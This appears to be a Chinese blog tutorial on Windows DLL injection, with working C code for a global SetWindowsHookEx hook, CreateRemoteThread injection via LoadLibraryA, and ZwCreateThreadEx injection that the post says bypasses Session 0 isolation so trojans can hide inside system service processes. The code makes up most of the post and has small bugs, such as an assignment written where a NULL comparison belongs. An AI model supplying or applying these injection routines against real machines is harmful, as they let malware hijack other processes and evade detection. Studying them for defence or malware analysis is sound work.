黑客编程技术(二)注入技术

全局钩子注入

在Windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。

Windows提供的钩子机制就是用来截获和监视系统中这些信息。

按照钩子作用的范围不同,它们又可分为局部钩子与全局钩子。局部钩子是针对某个线程;而全局钩子则是作用于整个系统的基于消息的应用。

全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。

SetWindowsHookExA函数

将应用程序定义的挂钩过程安装到挂钩链中。安装一个挂钩过程来监视系统中的某些类型的事件。这些事件与特定线程或与调用线程在同一桌面上的所有线程相关联。

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

 编程实现

// 设置全局钩子
BOOL SetGlobalHook()
{
    g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook)
    {
        return FALSE;
    }
    return TRUE;
}

// 钩子回调函数
LRESULT GetMsgProc(
    int code,
    WPARAM wParam,
    LPARAM lParam)
{
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

// 卸载钩子
BOOL UnsetGlobalHook()
{
    if (g_hHook)
    {
        ::UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

// 共享内存
#pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

主要通过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。通过调用CallNextHookEx函数传递钩子,让进程继续运行。通过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。

在调用SetWindowsHookEx函数设置全局钩子的时候,一定要将钩子回调函数编写在DLL模块当中,并指定该DLL模块的句柄。

通过在DLL中通过#pragma data_seg()指令创建共享内存,那么,加载了该DLL的进程,共享一块内存,只要其中一个进程修改了内存区域的数据,其他进程对应内存区域的数据也会改变。

 远程线程注入

远程线程注入DLL,使用关键函数CreateRemoteThread来在其他进程空间中创建了一个线程。

首先,程序在加载一个DLL时,通常调用LoadLibrary函数来实现DLL的动态加载。

有些系统DLL的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则地址可以不同。

虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址与其他进程空间的LoadLibrary函数地址相同。

 

整个远程线程注入的流程可以分为

①先获取注入目标进程的PID以及注入目标进程的句柄。

②根据DLL名称大小在目标进程中分配内存空间。

③将DLL名称写入内存空间当中。

④获取kernel32.dll的句柄以及LoadLibrary函数的地址。

⑤调用CreateRemoteThread进行远程线程注入。

 

编程实现

//获取进程ID
DWORD GetProId(char* szProcessname)
{
    BOOL bRet;
    PROCESSENTRY32 pe32;
    HANDLE hSnap;
    hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    pe32.dwSize=sizeof(pe32);
    bRet = Process32First(hSnap, &pe32);
    while (bRet)
    {
        if (lstrcmp(strupr(pe32.szExeFile),strupr(szProcessname)==0)
        {
            return pe32.th32ProcessID;
        }
        else
        {
            bRet = Process32Next(hSnap, &pe32);
        }
    }
    return 0;
}

//注入过程
BOOL LoadDll(DWORD dwProcessId,char* szDllName)
{
    BOOL bet;
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProcess == NULL)
    {
        printf("获取进程句柄失败");
        return FALSE;
    }
    dwLength = strlen(szDllName)+1;
    lpAddr = VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);
    if (lpAddr = NULL)
    {
        printf("为DLL名称分配空间失败");
        return FALSE;
    }
    bet = WriteProcessMemory(hProcess, lpAddr, szDllName, dwLength, NULL);
    if (bet == FALSE)
    {
        printf("DLL名称写入进程失败");
        return FALSE;
    }
    hmodule = GetModuleHandle("kernel32.dll");
    if (hmodule == NULL)
    {
        printf("获取模块句柄失败");
        return FALSE;
    }
    dwLoadAddr = (DWORD)GetProcAddress(hmodule, "LoadLibraryA");
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr,lpAddr, 0, NULL);
    if (hThread == NULL)
    {
        printf("创建远程线程失败");
        return FALSE;
    }
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

如果利用上述代码去对一些系统服务进程进行注入,会发现注入失败。原因是系统存在SESSION 0 隔断的安全机制,传统的远程线程注入DLL方法并不能突破隔离。

 

突破SESSION 0 隔离的远程线程注入

病毒木马使用传统的远程线程注入技术,可以成功向一些普通的用户进程注入DLL,但向一些关键的系统服务进程注入的话,会使自己更加隐蔽,难以发现。

直接调用ZwCreateThreadEx函数可以进行远程线程注入,还可以突破SESSION 0隔离。

ZwCreateThreadEx函数

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

编码实现

// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;
    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        return FALSE;
    }
    // 在注入进程中申请内存
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx");
        return FALSE;
    }
    // 向申请的内存中写入数据
    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        return FALSE;
    }
    // 加载 ntdll.dll
    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        ShowError("LoadLirbary");
        return FALSE;
    }
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA");
        return FALSE;
    }
    // 获取ZwCreateThread函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("GetProcAddress_ZwCreateThread");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        ShowError("ZwCreateThreadEx");
        return FALSE;
    }
    // 关闭句柄
    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdllDll);
    return TRUE;
}

 

posted @ 2020-06-19 16:21  ReVe1Se  阅读(744)  评论(0编辑  收藏  举报